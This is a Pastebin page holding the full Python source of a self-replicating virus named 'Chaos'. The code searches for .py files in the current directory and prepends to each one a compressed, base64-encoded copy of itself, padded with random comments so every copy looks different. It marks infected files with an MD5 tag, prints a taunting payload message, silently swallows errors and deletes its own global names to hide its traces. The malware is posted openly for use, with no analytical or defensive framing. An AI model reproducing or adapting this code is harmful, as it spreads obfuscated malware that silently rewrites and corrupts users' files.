FlyFar

Chaos - Python Virus Source Code

Jan 30th, 2023 (edited)
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.02 KB | Cybersecurity | 0 0
  1. import base64
  2. import glob
  3. import hashlib
  4. import inspect
  5. import os
  6. import random
  7. import zlib
  8.  
  9. def get_content_of_file(file):
  10.   data = None
  11.     # return the content of a file
  12.   with open(file, "r") as my_file:
  13.     data = my_file.readlines()
  14.  
  15.   return data
  16.  
  17. def get_content_if_infectable(file, hash):
  18.     # return the content of a file only if it hasn't been infected yet
  19.   data = get_content_of_file(file)
  20.  
  21.   for line in data:
  22.     if hash in line:
  23.       return None
  24.  
  25.   return data
  26.  
  27. def obscure(data: bytes) -> bytes:
  28.     # obscure a stream of bytes compressing it and encoding it in base64
  29.     return base64.urlsafe_b64encode(zlib.compress(data, 9))
  30.  
  31. def transform_and_obscure_virus_code(virus_code):
  32.     # transforms the virus code adding some randomic contents, compressing it and converting it in base64
  33.   new_virus_code = []
  34.   for line in virus_code:
  35.     new_virus_code.append("# "+ str(random.randrange(1000000))+ "\n")
  36.     new_virus_code.append(line + "\n")
  37.  
  38.   obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
  39.   return obscured_virus_code
  40.  
  41. def find_files_to_infect(directory = "."):
  42.   # find other files that can potentially be infected
  43.   return [file for file in glob.glob("*.py")]
  44.  
  45. def summon_chaos():
  46.   # the virus payload
  47.   print("We are sick, fucked up and complicated\nWe are chaos, we can't be cured")
  48.  
  49. def infect(file, virus_code):
  50.   # infect a single file. The routine open the file and if it's not been infected yet, infect the file with a custom version of the virus code
  51.   hash = hashlib.md5(file.encode("utf-8")).hexdigest()
  52.  
  53.   if (data:=get_content_if_infectable(file, hash)):
  54.     obscured_virus_code = transform_and_obscure_virus_code(virus_code)
  55.     viral_vector = "exec(\"import zlib\\nimport base64\\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))\")"
  56.  
  57.     with open(file, "w") as infected_file:
  58.       infected_file.write("\n# begin-"+ hash + "\n" + viral_vector + "\n# end-" + hash + "\n")
  59.       infected_file.writelines(data)
  60.  
  61. def get_virus_code():
  62.   # open the current file and returns the virus code, that is the code between the
  63.   # begin-{hash} and the end-{hash} tags
  64.   virus_code_on = False
  65.   virus_code = []
  66.  
  67.   virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
  68.   code = get_content_of_file(__file__)
  69.  
  70.   for line in code:
  71.     if "# begin-" + virus_hash in line:
  72.       virus_code_on = True
  73.  
  74.     if virus_code_on:
  75.       virus_code.append(line + "\n")
  76.  
  77.     if "# end-" + virus_hash in line:
  78.       virus_code_on = False
  79.       break
  80.  
  81.   return virus_code
  82.  
  83. # entry point
  84.  
  85. try:
  86.   # retrieve the virus code from the current infected script
  87.   virus_code = get_virus_code()
  88.  
  89.   # look for other files to infect
  90.   for file in find_files_to_infect():
  91.     infect(file, virus_code)
  92.  
  93.   # call the payload
  94.   summon_chaos()
  95.  
  96. except:
  97.   pass
  98.  
  99. finally:
  100.   # delete used names from memory
  101.   for i in list(globals().keys()):
  102.       if(i[0] != '_'):
  103.           exec('del {}'.format(i))
  104.  
  105.   del i
Add Comment
Please, Sign In to add comment